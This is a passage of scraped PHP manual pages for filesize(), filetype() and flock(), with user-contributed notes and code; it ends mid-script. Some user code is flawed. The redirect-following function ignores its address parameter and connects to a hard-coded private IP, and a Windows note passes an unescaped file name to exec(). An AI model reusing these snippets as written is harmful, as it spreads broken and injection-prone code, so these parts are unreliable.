core58 at mail dot ru 14-Apr-2006 05:21
some notes and modifications to previous post.
refering to RFC, when using HTTP/1.1 your request (either GET or POST or HEAD) must contain Host header string, opposite to HTTP/1.1 where Host ain't required. but there's no sure how your remote server would treat the request so you can add Host anyway (it won't be an error for HTTP/1.0).
host value _must_ be a host name (not CNAME and not IP address).

this function catches response, containing Location header and recursively sends HEAD request to host where we are moved until final response is met.
(you can experience such redirections often when downloading something from php scripts or some hash links that use apache mod_rewrite. most all of dowloading masters handle 302 redirects correctly, so this code does it too (running recursively thru 302 redirections).)

[$counter302] specify how much times your allow this function to jump if redirections are met. If initial limit (5 is default) expired -- it returns 0 (should be modified for your purposes whatever).0
ReadHeader() function is listed in previous post
(param description is placed there too).

<?php
function remote_filesize_thru( $ipAddress, $url, $counter302 = 5 )
{
    $socket = fsockopen( "10.233.225.2", 8080 );
    if( !$socket )
    {
        // failed to open TCP socket connection
        // do something sensible here besides exit();
        echo "<br>failed to open socket for [$ipAddress]";
        exit();
    }

    // just send HEAD request to server
    $head = "HEAD $url HTTP/1.0\r\nConnection: Close\r\n\r\n";
    // you may use HTTP/1.1 instead, then your request head string _must_ contain "Host: " header
    fwrite( $socket, $head );

    // read the response header
    $header = ReadHeader( $socket );
    if( !$header )
    {
        // handle empty response here the way you need...
        Header( "HTTP/1.1 404 Not Found" );
        exit();
    }

    fclose( $socket );

    // check for "Location" header
    $locationMarker = "Location: ";
    $pos = strpos( $header, $locationMarker );
    if( $pos > 0 )
    {
            $counter302--;
            if( $counter302 < 0 )
            {
                     // redirect limit (5 by default) expired -- return some warning or do something sensible here
                    echo "warning: too long redirection sequence";
                    return 0;
            }

            // Location is present -- we should determine target host and move there, like any downloading masters do...
            // no need to use regex here
            $end = strpos( $header, "\n", $pos );
            $location = trim( substr( $header, $pos + strlen( $locationMarker ), $end - $pos - strlen( $locationMarker ) ), "\\r\\n" );

             // extract pure host (without "http://")
             $host = explode( "/", $location );
             $ipa = gethostbyname( $host[2] );
             // move to Location
             return remote_filesize_thru( $ipa, $location, $counter302 );
    }

    // try to acquire Content-Length within the response
    $regex = '/Content-Length:\s([0-9].+?)\s/';
    $count = preg_match($regex, $header, $matches);

    // if there was a Content-Length field, its value
    // will now be in $matches[1]
    if( isset( $matches[1] ) )
          $size = $matches[1];
    else
          $size = 0;

    return $size;
}
?>
aidan at php dot net 13-Jul-2005 06:01
This function quickly calculates the size of a directory:
http://aidanlister.com/repos/v/function.dirsize.php

You can convert filesizes to a human readable size using:
http://aidanlister.com/repos/v/function.size_readable.php

For a faster (unix only) implementation, see function.disk-total-space, note #34100
http://www.php.net/manual/en/function.disk-total-space.php#34100

Also of interest is this wikipedia article, discussing the difference between a kilobyte (1000) and a kibibyte (1024).
http://en.wikipedia.org/wiki/Bytes


Gets file type

  • « filesize
  • flock »
  • PHP Manual
  • Filesystem Functions
  • Gets file type

filetype

(PHP 4, PHP 5)

filetype — Gets file type

Description

string filetype ( string $filename )

Returns the type of the given file.

Parameters

filename

Path to the file.

Return Values

Returns the type of the file. Possible values are fifo, char, dir, block, link, file, socket and unknown.

Returns FALSE if an error occurs. filetype() will also produce an E_NOTICE message if the stat call fails or if the file type is unknown.

Examples

Example #1 filetype() example

<?php

echo filetype('/etc/passwd');  // file
echo filetype('/etc/');        // dir

?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • is_dir() - Tells whether the filename is a directory
  • is_file() - Tells whether the filename is a regular file
  • is_link() - Tells whether the filename is a symbolic link
  • file_exists() - Checks whether a file or directory exists
  • mime_content_type() - Detect MIME Content-type for a file (deprecated)
  • pathinfo() - Returns information about a file path
  • stat() - Gives information about a file

User Contributed Notes

r dot koelpin at evisionteam dot de 30-Jan-2014 03:29
/* COPY/PASTE */
<?php
//https://php.net/manual/de/function.filetype.php#104308

echo "Zum testen müssen tatsächlich existente Namen verwendet werden.<br>";
echo "Pfad und Dateiname müssen getrennt eingetragen und durch einen Punkt verbunden sein.<br>";
echo "Example: [filetype(\"../dir/u_dir/\".\"temp.jpg\")] liefert -> file<br>";
?>
Abhi Jain 08-Jun-2011 09:01
Putting @ in front of the filetype() function does not prevent it from raising a warning (Lstat failed), if E_WARNING is enabled on your error_reporting.

The most common cause of filetype() raising this warning and not showing a filetype() in the output (it actually returns NULL) is, if you happened to pass just the 'Dir or File Name' and not the complete "Absolute or Relative Path" to that 'file or Dir'. It may still read that file and return its filetype as "file" but for Dir's it shows warning and outputs NULL.
eg:
$pathToFile = '/var/www';
$file = 'test.php';
$dir = 'somedir';

Output for filetype($file) will be returned as 'file' and possibly without any warning, but for filetype($dir), it will return NULL with the warning "Lstat failed", unless you pass a complete path to that dir, i.e. filetype($pathToFile.'/'.$dir).

This happened to me and found this solution after a lot of trial and error. Thought, it might help someone.
adlerweb 07-Oct-2010 10:09
filetype() does not work for files >=2GB on x86 Linux. You can use stat as a workarround:

$type=trim(`stat -c%F $file`);

Note that stat returns diffenerent strings ("regular file","directory",...)
7r6ivyeo at mail dot com 22-Nov-2008 02:29
I use the CLI version of PHP on Windows Vista.  Here's how to determine if a file is marked "hidden" by NTFS:

<?php
function is_hidden_file($fn) {

    $attr = trim(exec('FOR %A IN ("'.$fn.'") DO @ECHO %~aA'));

    if($attr[3] === 'h')
        return true;

    return false;
}
?>

Changing <?php if($attr[3] === 'h') ?> to <?php if($attr[4] === 's') ?> will check for system files.

This should work on any Windows OS that provides DOS shell commands.
ruach at chpc dot utah dot edu 11-Mar-2004 02:11
There are 7 values that can be returned. Here is a list of them and what each one means

block: block special device

char: character special device

dir: directory

fifo: FIFO (named pipe)

file: regular file

link: symbolic link

unknown: unknown file type


Portable advisory file locking

  • « filetype
  • fnmatch »
  • PHP Manual
  • Filesystem Functions
  • Portable advisory file locking

flock

(PHP 4, PHP 5)

flock — Portable advisory file locking

Description

bool flock ( resource $handle , int $operation [, int &$wouldblock ] )

flock() allows you to perform a simple reader/writer model which can be used on virtually every platform (including most Unix derivatives and even Windows).

On versions of PHP before 5.3.2, the lock is released also by fclose() (which is also called automatically when script finished).

PHP supports a portable way of locking complete files in an advisory way (which means all accessing programs have to use the same way of locking or it will not work). By default, this function will block until the requested lock is acquired; this may be controlled (on non-Windows platforms) with the LOCK_NB option documented below.

Parameters

handle

A file system pointer resource that is typically created using fopen().

operation

operation is one of the following:

  • LOCK_SH to acquire a shared lock (reader).
  • LOCK_EX to acquire an exclusive lock (writer).
  • LOCK_UN to release a lock (shared or exclusive).

It is also possible to add LOCK_NB as a bitmask to one of the above operations if you don't want flock() to block while locking. (not supported on Windows)

wouldblock

The optional third argument is set to 1 if the lock would block (EWOULDBLOCK errno condition). (not supported on Windows)

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.2 | The automatic unlocking when the file's resource handle is closed was removed. Unlocking now always has to be done manually.

Examples

Example #1 flock() example

<?php

$fp = fopen("/tmp/lock.txt", "r+");

if (flock($fp, LOCK_EX)) {  // acquire an exclusive lock
    ftruncate($fp, 0);      // truncate file
    fwrite($fp, "Write something here\n");
    fflush($fp);            // flush output before releasing the lock
    flock($fp, LOCK_UN);    // release the lock
} else {
    echo "Couldn't get the lock!";
}

fclose($fp);

?>

Example #2 flock() using the LOCK_NB option

<?php
$fp = fopen('/tmp/lock.txt', 'r+');

/* Activate the LOCK_NB option on an LOCK_EX operation */
if(!flock($fp, LOCK_EX | LOCK_NB)) {
    echo 'Unable to obtain lock';
    exit(-1);
}

/* ... */

fclose($fp);
?>

Notes

Note:

flock() uses mandatory locking instead of advisory locking on Windows. Mandatory locking is also supported on Linux and System V based operating systems via the usual mechanism supported by the fcntl() system call: that is, if the file in question has the setgid permission bit set and the group execution bit cleared. On Linux, the file system will also need to be mounted with the mand option for this to work.

Note:

Because flock() requires a file pointer, you may have to use a special lock file to protect access to a file that you intend to truncate by opening it in write mode (with a "w" or "w+" argument to fopen()).

Note:

May only be used on file pointers returned by fopen() for local files, or file pointers pointing to userspace streams that implement the streamWrapper::stream_lock() method.

Warning

Assigning another value to handle argument in subsequent code will release the lock.

Warning

On some operating systems flock() is implemented at the process level. When using a multithreaded server API like ISAPI you may not be able to rely on flock() to protect files against other PHP scripts running in parallel threads of the same server instance!

flock() is not supported on antiquated filesystems like FAT and its derivates and will therefore always return FALSE under this environments (this is especially true for Windows 98 users).

User Contributed Notes

sinus-php at sinpi dot net 15-Aug-2014 11:01
"Assigning another value to handle argument in subsequent code will release the lock."
Note: this is also true for losing the handle's context completely (like returning from a function, in which the handle was a local variable).

<?php
touch("testfile");

function mylock() {
  $F1 = fopen("testfile","r");
  if (flock($F1,LOCK_EX|LOCK_NB)) echo "First lock OK\n"; else echo "First lock FAIL\n";
  $F2 = fopen("testfile","r");
  if (flock($F2,LOCK_EX|LOCK_NB)) echo "Second lock OK\n"; else echo "Second lock FAIL\n";
}

mylock();
echo "Function returned.\n";
mylock();

unlink("testfile");
?>

Prints out:

First lock OK
Second lock FAIL
Function returned.
First lock OK
Second lock FAIL

This will lock the testfile, then attempt to lock it again with a new file handle (obviously failing). Trying this again, though, results in proper locking again (and then failing again), because when exiting the function both handles are lost and automatically unlocked.
tom dot vom dot berg at online dot de 29-Apr-2014 03:46
if you are used to reply with qualified error messages by using "track_errors = 1" and $php_errormsg,  flock() will nark you, if you use LOCK_NB .

If flock() fails due to LOCK_NB $php_errormsg will not be created and filled with an error message like 'could not lock file, file already locked'.

You can use some little workaround which does also on WIN:

#---------------------------------
GLOBAL $MYERRORMSG;

function some_file_operations($filename)
{
    GLOBAL $MYERRORMSG;

    # ...
    # ...

    if (! @flock($fh, LOCK_SH | LOCK_NB, $wb))
       {
        if (!isset($php_errormsg)) $php_errormsg = 'could not lock file, file already locked';
        $MYERRORMSG = $php_errormsg;
        return false;
    }
}
#--------------------------------

In case of fail $MYERRORMSG now will hold a qualified error message
enyby at yandex dot ru 05-Jan-2014 05:36
Use rename or unlink on handled file breaked LOCK_EX flock on handle (Linux only).

Example:

$handle = fopen($lockFile, 'c');
var_dump(flock($handle, LOCK_EX | LOCK_NB)); // false because flock use other php process
rename($lockFile, $lockFile.'.old'); // or unlink
var_dump(flock($handle, LOCK_EX | LOCK_NB)); // always true (!!!)
metamarkers at gmail dot com 19-Apr-2013 09:13
you can wrap a lock as an object to make it a scope-based lock. when the lock object is no longer referenced, like when it's unset or the owner returns, the destructor will call unlock.

this way you can just create a lock object and forget about it.

<?php
class lock {

    private $handle;

    public static function read ( $handle ) {
        $lock = new static();
        $lock->handle = $handle;
        return flock($handle,LOCK_SH) ? $lock : false;
    }

    public static function write ( $handle ) {
        $lock = new static();
        $lock->handle = $handle;
        return flock($handle,LOCK_EX) ? $lock : false;
    }

    public function __destruct ( ) {
        flock($this->handle,LOCK_UN);
    }

}
?>
steven at aubergine-it dot nl 21-Feb-2013 12:14
You cannot combine gzopen with flock; so:

<?php
$f = gzopen($file,'w');
$o = flock($f, LOCK_EX);
var_dump($o);
flush();
?>

Gives:

boolean false
mdessaintes at gmail dot com 29-Jun-2012 01:30
I just spent some time (again) to understand why a reading with file_get_contents() and file was returning me an empty string "" or array() whereas the file was existing and the contents not empty.

In fact, i was locking file when writing it (file_put_contents third arg) but not testing if file was locked when reading it (and the file was accessed a lot).

So, please pay attention that file_get_contents(), file() and maybe others php files functions are going to return empty data like if the contents of the file was an empty string.

To avoid this problem, you have to set a LOCK_SH on your file before reading it (and then waiting if locked).

Something like this :

<?php
public static function getContents($path, $waitIfLocked = true) {
    if(!file_exists($path)) {
        throw new Exception('File "'.$path.'" does not exists');
    }
    else {
        $fo = fopen($path, 'r');
        $locked = flock($fo, LOCK_SH, $waitIfLocked);

        if(!$locked) {
            return false;
        }
        else {
            $cts = file_get_contents($path);

            flock($fo, LOCK_UN);
            fclose($fo);

            return $cts;
        }
    }
}
?>

Code to test by yourself :

abc.txt :
someText

file.php :
<?php
$fo = fopen('abc.txt', 'r+');

flock($fo, LOCK_EX);
sleep(10);
flock($fo, LOCK_UN);
?>

file2.php :
<?php
var_dump(file_get_contents('abc.txt'));
var_dump(file('abc.txt'));
?>

Then launch file.php and switch to file2.php during the 10 seconds and see the difference before/after
ondrej dot nemecek at gmail dot com 16-Mar-2012 12:15
Notice: On NFS with NFS locking daemon you cannot open file for reading and than lock exklusively:

$rFopened  = fopen($sFile,'r');
$bResult   = flock($rFopened, LOCK_EX);

var_dump($bResult); // returns FALSE

Mixed fopen modes (a+, w+ ...) works with LOCK_EX fine.
mdessaintes at gmail dot com 22-Sep-2011 05:44
I just spend a long time to understand why write function returns me "0", on a basic file opening and then writing.

I discovered that if you use LOCK_SH and then you write something, that will not work :

<?php
$fp = fopen('file.txt', 'a');

flock($fp,LOCK_SH);

$written = fputs($fp, 'data');

var_dump($written); // 0 and file is not changed

fclose($fp);
?>
Evan Battaglia 06-Jan-2011 02:13
LOCK_NB seems to be checked and works fine in Windows, too, in PHP 5.3.3.

For instance, try concurrently running two instances of the following script (via the CLI). The second prints "Didn't quite get the lock..." as expected, whereas w/o the LOCK_NB flag, it just hangs.

<?php
$x = fopen("flocktest.txt", "w");
if (flock($x, LOCK_EX|LOCK_NB)) {
    print "No problems, I got the lock, now I'm going to sit on it.";
    while (true)
        sleep(5);
} else {
    print "Didn't quite get the lock. Quitting now. Good night.";
}
fclose($x);
?>
holdoffhunger at gmail dot com 03-Dec-2010 04:53
I've been having trouble getting Flock to work when I read a file, delete it, and then output slightly changed information back to the same location.  When deleting with Unlink, there's a very brief period of time where no file exists.  But, if you do an fopen using the "w" mode, it keeps the file in existence, but deletes all of its data when you go to write to it.  That way, the file never actually disappears, and another script accessing the same file with flock won't get a "file doesn't exist" error.
webmaster at bitpush dot com 11-Nov-2010 05:31
Regarding the change in PHP 5.3.2 with locked files:

Without having studied the PHP source code in detail, the situation appears to be as follows when the PHP function fclose() is called:

Before 5.3.2 PHP would check if the file was locked, then release the lock, and then close the file.

From 5.3.2 PHP just closes the file.

But note, that the operating system releases the lock automatically when the file is closed. Therefore a call to fclose() STILL releases the lock (this is tested with PHP 5.3.2, Linux, x64).
mirco dot babin at gmail dot com 15-Sep-2010 07:10
Because:
1) flock() is not safe if multiple php sessions are simultaneously locking.
2) fopen( , 'a') is not safe if multiple php sessions are simultaneously appending.
3) usleep and sleep are known for having problems.

I wrote the Weblog function, it's purpose is to append a line to logging. This function handles the concurrency as follows:
- Try to create a lockfile named: $directory . date('Ymd') . $logfile . 1 . lock
- If this fails, try to create lockfile named: $directory . date('Ymd') . $logfile . 2 . lock
- etc. After 100 tries return false.

- When the lockfile is acquired the file named: $directory.date('Ymd').$logfile.1 (or .2 or .3 or .25) is opened or created.
- If created the a "extended log file" header is written.
- Write out the line.
- Close the flie and if created set the correct access rights. (I had some problems creating files on a webserver, I did not see them when I opened a FTP session to the webdirectory. The chmod did the trick for me).

- Remove the lockfile.

There is only one drawback, multiple logfiles are created.
e.g. (executed on 15 september 2010)
    Weblog('./' , 'visit', 'Somebody requested the index page');
Could lead to 100 files, depending how many concurrent php sessions are simultaneously trying to append a logline:
./20100915visit.1
./20100915visit.2
./20100915visit.3
./20100915visit.4
...
./20100915visit.100

This function is donated to the public domain. Maybe you can give me some credit by leaving in the author comment, but it is not required. You may modify this as you wish.
(This function was inspired by the function m_lock_file presented by Kuzma dot Deretuke at gmail dot com)

<?php
function Weblog($directory, $logfile, $message)
{
    // Created 15 september 2010: Mirco Babin
    $curtime = time();
    $logfile = date('Ymd',$curtime) . $logfile;

    if (!isset($directory) || $directory === false)
        $directory = './';
    if (substr($directory,-1) !== '/')
        $directory = $directory . '/';

    $count = 1;
    while(1)
    {
        $logfilename = $directory . $logfile . '.' . $count;

        $lockfile = $logfilename . '.lock';
        $lockhandle = false;
        if (!file_exists($lockfile) || @unlink($lockfile))
            $lockhandle = @fopen($lockfile, 'xb');
        if ($lockhandle !== false) break;

        $count++;
        if ($count > 100) return false;
    }

    if (file_exists($logfilename))
        {
            $created   = false;
            $loghandle = @fopen($logfilename, 'ab');
        }
    else
        {
            $loghandle = @fopen($logfilename, 'xb');
            if ($loghandle !== false)
                {
                    $created = true;

                    $str = '#version: 1.0' . "\r\n" .
                           '#Fields: date time c-ip x-msg' . "\r\n";
                    fwrite($loghandle,$str);
                }
            }

    if ($loghandle !== false)
        {
            $str = date('Y-m-d',$curtime) . "\t" .
                   date('H:i:s', $curtime) .  "\t" .
                   (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '-') . "\t" .
                   '"' . str_replace('"', '""', $message) . '"' . "\r\n";
            fwrite($loghandle,$str);

            fclose($loghandle);

            if ($created) chmod($logfilename,0644); // Read and write for owner, read for everybody else

            $result = true;
        }
    else
        {
            $result = false;
        }

    fclose($lockhandle);
    @unlink($lockfile);

    return $result;
}
?>
dejangex at yahoo dot com 21-Dec-2009 10:47
Actually, there is no use of the while loop with the usleep. My testing has revealed the following:

<?php
//some code here
flock($file_handle, LOCK_EX) // <- Your code will pause here untill you get the lock for indefinite amount of time or till your script times out
//some code here
?>

This will actually check for the lock without pausing and then it will sleep:

<?php
//code here
while (!flock($file_handle, LOCK_EX | LOCK_NB)) {
 //Lock not acquired, try again in:
 usleep(round(rand(0, 100)*1000)) //0-100 miliseconds
}
//lock acquired
//rest of the code
?>

The problem is, if you have a busy site and a lots of locking, the while loop may not acquire the lock for some time. Locking without LOCK_NB is much more persistent and it will wait for the lock for as long as it takes. It is almose guaranteed that the file will be locked, unless the script times out or something.

Consider these two scripts: 1st one is ran, and the second one is ran 5 seconds after the first.

<?php
//1st script
$file_handle = fopen('file.test', 'r+');
flock($file_handle, LOCK_EX); //lock the file
sleep(10); //sleep 10 seconds
fclose($file_handle); //close and unlock the file
?>

<?php
//2nd script
$file_handle = fopen('file.test', 'r+');
flock($file_handle, LOCK_EX); //lock the file
fclose($file_handle); //close and unlock the file
?>

If you run 1st and then the 2nd script,the 2nd script will wait untill the 1st has finished. As soon as the first script finishes, the second one will acquire the lock and finish the execution. If you use flock($file_handle, LOCK_EX | LOCK_NB) in the 2nd script while the 1st script is running, it would finish execution immediately and you would not get the lock.
daniel AT brightbyte DOT de 08-Sep-2009 09:49
flock on Solaris is slightly strange: it will fail if you try to get an exclusive lock on a file not opened for writing. That is, for reading files, you MUST use a shared lock. From the Solaris man page for flock:

"Read permission is required on a file to obtain a shared lock, and write  permission is required to obtain an exclusive lock."

In contrast, this is from the Linux man page for flock:

"The mode used to open the file doesn’t matter to flock."

So, beware...
Kuzma dot Deretuke at gmail dot com 06-Aug-2009 01:31
I use exclusive writing to replace standard flock():

<?php
// get/set lock file name
function m_lock_file( $format = null ) {
    static $file_format = './%s.lock';

    if ($format !== null) {
        $file_format = $format;
    }

    return $file_format;
}

// acquire/check/release lock
function m_lock( $lockId, $acquire = null ) {
    static $handlers = array();

    if (is_bool($acquire)) {
        $file = sprintf(m_lock_file(), md5($lockId), $lockId);
    }

    if ($acquire === false) {
        if (isset($handlers[$lockId])) {
            @fclose($handlers[$lockId]);
            @unlink($file);
            unset($handlers[$lockId]);
        } else {
            trigger_error("Lock '$lockId' is already unlocked", E_USER_WARNING);
        }
    }

    if ($acquire === true) {
        if (!isset($handlers[$lockId])) {
            $handler = false;
            $count = 100;
            do {
                if (!file_exists($file) || @unlink($file)) {
                    $handler = @fopen($file, "x");
                }
                if (false === $handler) {
                    usleep(10000);
                } else {
                    $handlers[$lockId] = $handler;
                }
            } while (false === $handler && $count-- > 0);
        } else {
            trigger_error("Lock '$lockId' is already locked", E_USER_WARNING);
        }
    }

    return isset($handlers[$lockId]);
}
?>

Usage sample:

<?php
$lockId = "qq";

m_lock($lockId, true);
if (m_lock($lockId)) {
    echo "locked";

    // here you can perform any thread-safe operations
    usleep(300 * 1000);

    m_lock($lockId, false);
} else {
    echo "not locked";
}

?>
Fernando Gabrieli fgabrieli at gmail 12-Feb-2009 08:06
When writing to a file, you should avoid using w+ because it would erase the contents of the file before locking

If you need to write the complete file again you could use the following instead:

<?php
$fp = fopen('yourfile.txt', 'a') ;

if (flock($fp, LOCK_EX)) {
    ftruncate($fp, 0) ; // <-- this will erase the contents such as 'w+'

    fputs($fp, 'test string') ;

    flock($fp, LOCK_UN) ;
}

fclose($fp) ;
?>

Best,
Fernando Gabrieli
tinymountain at nospam dot gmail dot com 31-Jul-2008 10:36
Here's a handy class to allow retrying a write with flock a set number of times. If it can't flock, it will sleep for a brief random interval and try again. If you have a lot of concurrent writes going on, you can use it to avoid data corruption.

<?php
class SafeWriter
{
    // suggested mode 'a' for writing to the end of the file
    public static function writeData($path, $mode, $data)
    {
        $fp = fopen($path, $mode);
        $retries = 0;
        $max_retries = 100;

        if (!$fp) {
            // failure
            return false;
        }

        // keep trying to get a lock as long as possible
        do {
            if ($retries > 0) {
                usleep(rand(1, 10000));
            }
            $retries += 1;
        } while (!flock($fp, LOCK_EX) and $retries <= $max_retries);

        // couldn't get the lock, give up
        if ($retries == $max_retries) {
            // failure
            return false;
        }

        // got the lock, write the data
        fwrite($fp, "$data\n");
        // release the lock
        flock($fp, LOCK_UN);
        fclose($fp);
        // success
        return true;
    }
}
?>
John dot wellesz at teaser dot fr 15-Apr-2008 02:59
I just want to add a note about making atomic lock on NFS, there is only two
ways:

- 1 (the most robust but the most complicate) - It's to use link() to create a
  hard link to a file you want to lock (on the same FS of course).
  (On most NFS implementations, Link() is atomic)

Once you created a hard link (not a symbolic link), with a unique randomly
generated name, call stat() on it and count the number of link (nlink), if there
is only 2 then the file is locked.

If there is more than two you have to unlink() the link you just created and
create a new one with a new unique name (else NFS will use its cache and stat
will return wrong data) then call stat() on the new link and test the number of
links again, repeat this operation until you get the lock.

You have to use usleep() between the link() attempts with a fixed + random
sleep value to avoid dead lock situations (link() and unlink() may be atomic
but not instantaneous)

Also note than when you unlink a file through NFS, if NFS think that the file
is still in use, it will create a .nfs link to this file until it realizes the
file is no longer in use... A wrong timing could generate thousands of those
files and a deadlock situation.  Because of this when a deadlock situation
occurs or if your stat() command returns a very high number of links, you have
to look for .nfs file in the same directory you created your links and unlink
all the .nfs file you find (sometimes NFS take its time to remove them)

- 2 (the simplest) - the second method is to use a lock server and lock daemons
  on each client that will forward lock request to the server... (this is more
dangerous than the first method because the daemons may be killed...)

Here is for reference the function I created to make atomic locks through NFS
(this function is in production since at least 4 years now), it's just for
reference because it uses many external functions to do its job but you can see
the principle:

http://pastey.net/85793
admin ifyouwantblood de 24-Dec-2007 04:05
besides from what the manual says about locking a file opendend in w or w+ and using a special lock file for these cases, you should simply truncate the file yourself with ftruncate() after writing:

<?php

$data='some data';
$handle=fopen('file','r+');
flock($handle,LOCK_EX);
fwrite($handle,$data);
ftruncate($handle,ftell($handle));
flock($handle,LOCK_UN);
fclose($handle);

?>

now the file will have the size of $data without opening the file in w mode but with a lock on the file.

to the previous writers jpriebe and mallory:
of course the lock is lost in this case, but thats simply because the file is closed by PHP. and closing the file means unlocking it (same as when you use fclose() yourself).
mallory dot dessaintes at gmail dot com 19-Dec-2007 04:56
I have noticed that if you change the value of your fopen ressource, the lock is working no longer..

<?php

$fo = fopen('lockfile.txt','a');

flock($fo,LOCK_EX);

$fo = '';

// Lock is disable

?>
candide at idees-et-solutions dot fr 07-Dec-2007 12:48
Just a comment about the last method to lock files using filemtime().
What if   filemtime($fp[1]) == $fp[3]   because somebody modified the file less than 1s after the value of $fp[3] was picked up?
Then this modification will be lost...?

This system to lock files is made to prevent problems when two modifications are so close that they can interfere, so the case "less than 1s" will often happen?

However, lose some modifications is better than spoil all the file...
Antti Haapala 06-Oct-2007 01:30
Further information on flock: The system is not restarted if a signal is delivered to the process, so flock will happily return false in case of SIGALRM, SIGFPE or something else.
Antti Haapala 06-Oct-2007 12:41
The supplied documentation is vague, ambiguous and lacking, and the user comments contain erroneous information! The flock function follows the semantics of the Unix system call bearing the same name. Flock utilizes ADVISORY locking only; that is, other processes may ignore the lock completely; it only affects those that call the flock call.

LOCK_SH means SHARED LOCK. Any number of processes MAY HAVE A SHARED LOCK simultaneously. It is commonly called a reader lock.

LOCK_EX means EXCLUSIVE LOCK. Only a single process may possess an exclusive lock to a given file at a time.

If the file has been LOCKED with LOCK_SH in another process, flock with LOCK_SH will SUCCEED. flock with LOCK_EX will BLOCK UNTIL ALL READER LOCKS HAVE BEEN RELEASED.

If the file has been locked with LOCK_EX in another process, the CALL WILL BLOCK UNTIL ALL OTHER LOCKS have been released.

If however, you call flock on a file on which you possess the lock, it will try to change it. So: flock(LOCK_EX) followed by flock(LOCK_SH) will get you a SHARED lock, not "read-write" lock.
Will Reiher 28-Mar-2007 01:52
I've been testing a few custom file access functions but I always liked the simplicity of file_get_contents(). Of course it doesn't seem to respect any file locks created with flock(). I created the function below to wrap around file_get_contents() so it can support locked files. It's an odd way of doing it but it works for me.

<?php
function flock_get_contents($filename){

    $return = FALSE;

    if(is_string($filename) && !empty($filename)){
        if(is_readable($filename)){
            if($handle = @fopen($filename, 'r')){
                while(!$return){
                    if(flock($handle, LOCK_SH)){
                        if($return = file_get_contents($filename)){
                            flock($handle, LOCK_UN);
                        }
                    }
                }
                fclose($handle);
            }
        }
    }

    return $return;
}
?>
jerry at gh33 dot org 14-Aug-2006 06:30
Indeed, flock() will not work reliably when the underlying filesystem is NFS. The proper way to perform file locking, in this case, would be to use PHP's link() function. From the Linux man page of open():

       O_EXCL When used with O_CREAT, if the file  already  exists  it  is  an
              error  and  the open will fail. In this context, a symbolic link
              exists, regardless of where its points to.  O_EXCL is broken  on
              NFS file systems, programs which rely on it for performing lock-
              ing tasks will contain a race condition.  The solution for  per-
              forming  atomic  file  locking  using  a lockfile is to create a
              unique file on the same fs  (e.g.,  incorporating  hostname  and
              pid),  use  link(2)  to  make  a link to the lockfile. If link()
              returns 0, the lock is successful.  Otherwise,  use  stat(2)  on
              the  unique  file to check if its link count has increased to 2,
              in which case the lock is also successful.
marc dot vanwoerkom at fernuni-hagen dot de 15-Feb-2006 11:00
I ran into a loop because I just checked for true (= you got the lock) as return value of flock() and tried again when I got a false.

<?php
    function naive_wait_for_file($fp) {
        while (true) {
            if (flock($fp, LOCK_EX)) {
                return;
            }
            $k = rand(0, 20);
            usleep(round($k * 10000));  # k * 10ms
        }
    }
?>

Unfortunately in one case the $fp I put in was invalid, so I always got false and got stuck.
Lesson: check if your $fp is valid before entering the loop, or look closer if you get a false.

<?php
    function wait_for_file($fp) {
        if ($fp === false) {
            return;
        }
        while (true) {
            if (flock($fp, LOCK_EX)) {
                return;
            }
            $k = rand(0, 20);
            usleep(round($k * 10000));  # k * 10ms
        }
    }
?>
damasta at onwebworx dot net 10-Aug-2005 05:28
just wanted to say that you will most likely fail if you use a separate lock file together with register_shutdown_function.

my script did some different actions... resizing pictures, rotating them and this stuff. it needed a "database" file to get the correct file locations. this database file also stored some flags. and of course the script had to save that file when it was done.

because of my script exited on many different points depending on the action i used register_shutdown_function to save the file. it wanted to use a locking system to be sure the script doesn't overwrite the data another process had written into it some microseconds before. i was running on windows 2000 and apache2 on my developing machine, and flock always returned true for some reason... so i used a separate lock file. the script looked for it at the beginning and exited if it was found. otherwise it created it. but this file had to be deleted at the end. i put the unlink command into the registered shutdown-function but it never deleted the file. i tried clearstatcache and some other stuff but it didn't help.

maybe this helps someone.
rudy dot metzger at pareto dot nl 08-Sep-2004 12:31
Like a user already noted, most Linux kernels (at least the Redhat ones) will return false, even if you locked the file. This is because the lock is only ADVISORY (you can check that in /proc/locks). What you have to do there is to evalute the 3rd parameter of flock(), $eWouldBlock. See for an example below. Note however that if you
lock the file in non blocking mode, flock() will work as expected (and blocks the script).

<?php

$fp = fopen( "/var/lock/process.pid", "a" );
if ( !$fp || !flock($fp,LOCK_EX|LOCK_NB,$eWouldBlock) || $eWouldBlock ) {
  fputs( STDERR, "Failed to acquire lock!\n" );
  exit;
}

// do your work here

fclose( $fp );
unlink( "/var/lock/process.pid" );

?>
Joby <god at NOSPAMPLEASE dot greentinted dot net> 01-Jul-2004 02:59
I'm thinking that a good way to ensure that no data is lost would be to create a buffer directory that could store the instructions for what is to be written to a file, then whenever the file is decidedly unlocked, a single execution could loop through every file in that directory and apply the indicated changes to the file.

I'm working on writing this for a flat-file based database.  The way it works is, whenever a command is issued (addline, removeline, editline), the command is stored in a flat file stored in a folder named a shortened version of the filename to be edited and named by the time and a random number.  In that file is a standardized set of commands that define what is to be done to what file (the likes of "file: SecuraLog/index_uid" new line "editline: 14").

Each execution will check every folder in that directory for files and a certain amount of time (I don't know how long, maybe 1-2 seconds) is spent making pending changes to unlocked files.  This way no changes will be lost (i.e. person 1 makes a change at the same time as person 2, and person 1 loses the race by just enough to have their changed version of the file overwritten by person 2's version) and there will be no problems with opening an empty open file.
Glip 29-Jan-2004 07:39
If you don't want use secondary lock file while truncating, try this:

<?php

$fp = fopen("/tmp/lock.txt", "a+");

if (flock($fp, LOCK_EX)) { // do an exclusive lock
   ftruncate($fp, 0);
   fwrite($fp, "Write something here\n");
   flock($fp, LOCK_UN); // release the lock
} else {
   echo "Couldn't lock the file !";
}

fclose($fp);

?>
joel[at_sign]purerave.com 28-May-2003 03:12
I have found that if you open a currently locked file with 'w' or 'w+' ("file pointer at the beginning of the file and truncate the file to zero length")  then it will not truncate the file when the lock is released and the file available.

Example I used to test it:
<?php
// a.php
$fp = fopen( "/tmp/lock.txt", "w+" );
flock( $fp, LOCK_EX ); // exclusive lock

$steps = 10;
// write to the file
for ($i=0; $i< $steps; $i++) {
    fwrite($fp, 'a '.time().' test '. $i."\n");
    sleep(1);
}
flock( $fp, LOCK_UN ); // release the lock
